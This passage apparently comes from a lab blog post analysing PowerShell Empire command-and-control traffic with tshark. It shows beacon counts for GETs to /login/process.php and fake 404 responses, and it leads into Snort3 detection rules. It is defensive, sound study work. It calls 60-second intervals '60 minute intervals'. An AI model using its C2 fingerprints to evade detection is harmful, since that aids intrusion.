| 2021-11-21 19:07:57 |      1 |   230 |                                                             |
| 2021-11-21 19:08:57 |      1 |   230 |                                                             |
| 2021-11-21 19:09:57 |      1 |   230 |                                                             |
| 2021-11-21 19:10:57 |      1 |   230 |                                                             |
| 2021-11-21 19:11:57 |      1 |   230 |                                                             |
| 2021-11-21 19:12:57 |      2 |   460 |                                                             |
======================================================================================================


and finally for /login/process.php.

┌──(rootđź’€securitynik)-[~/packets]
└─# tshark -n -r empire-full-session.pcap  -t ad -q -z io,stat,60,'(ip.src==10.0.0.110) && (ip.dst == 10.0.0.107) && (tcp.dstport==443) && (http.request.method == GET) && (http.request.uri ==  "/login/process.php")' | grep --invert-match --perl-regexp "\s+0\s+" | more

======================================================================================================
| IO Statistics                                                                                      |
|                                                                                                    |
| Duration: 112019.300404 secs                                                                        |
| Interval:    60 secs                                                                               |
|                                                                                                    |
| Col 1: (ip.src==10.0.0.110) && (ip.dst == 10.0.0.107) && (tcp.dstport==443) &&                     |
|        (http.request.method == GET) && (http.request.uri ==  "/login/process.php")                 |
|----------------------------------------------------------------------------------------------------|
|                     |1               |                                                             |
| Date and time       | Frames | Bytes |                                                             |
|--------------------------------------|                                                             |
| 2021-11-20 13:05:57 |      1 |   239 |                                                             |
| 2021-11-20 13:06:57 |      1 |   239 |                                                             |
| 2021-11-20 13:07:57 |      1 |   239 |                                                             |
| 2021-11-20 13:09:57 |      1 |   239 |                                                             |
| 2021-11-21 14:22:57 |      1 |   239 |                                                             |
| 2021-11-21 14:23:57 |      2 |   478 |                                                             |
| 2021-11-21 14:24:57 |      2 |   478 |                                                             |
| 2021-11-21 14:25:57 |      1 |   239 |                                                             |
| 2021-11-21 14:26:57 |      1 |   239 |                                                             |
| 2021-11-21 14:35:57 |      1 |   239 |                                                             |
| 2021-11-21 14:36:57 |      1 |   239 |                                                             |
| 2021-11-21 14:37:57 |      1 |   239 |                                                             |
| 2021-11-21 14:38:57 |      2 |   478 |                                                             |
| 2021-11-21 15:24:57 |      1 |   239 |                                                             |
| 2021-11-21 15:26:57 |      2 |   478 |                                                             |
| 2021-11-21 15:27:57 |      2 |   478 |                                                             |
| 2021-11-21 15:28:57 |      1 |   239 |                                                             |
| 2021-11-21 15:29:57 |      1 |   239 |                                                             |
| 2021-11-21 15:30:57 |      1 |   239 |                                                             |
| 2021-11-21 15:31:57 |      1 |   239 |                                                             |
| 2021-11-21 16:03:57 |      1 |   239 |                                                             |
| 2021-11-21 16:04:57 |      1 |   239 |                                                             |
| 2021-11-21 16:05:57 |      1 |   239 |                                                             |
| 2021-11-21 16:06:57 |      1 |   239 |                                                             |
| 2021-11-21 16:07:57 |      1 |   239 |                                                             |
======================================================================================================

Clearly we can see some patterns above as it relates to the communication at 60 minute intervals.


I also noticed alot of these messages report 404 - file or directory not found. It seems like almost every response had this message.

┌──(rootđź’€securitynik)-[/home/securitynik/packets]
└─# tshark -n -r empire-initial-connection-setup.pcapng -V | grep --perl-regexp "404\s+.*?not\s+found" | more                             
    <title>404 - File or directory not found.</title>\r\n
      <h2>404 - File or directory not found.</h2>\r\n
    <title>404 - File or directory not found.</title>\r\n
      <h2>404 - File or directory not found.</h2>\r\n
    <title>404 - File or directory not found.</title>\r\n
      <h2>404 - File or directory not found.</h2>\r\n
    <title>404 - File or directory not found.</title>\r\n
    ....


Transitioning to developing Snort3 rules, to detect this activity for our lab.



References: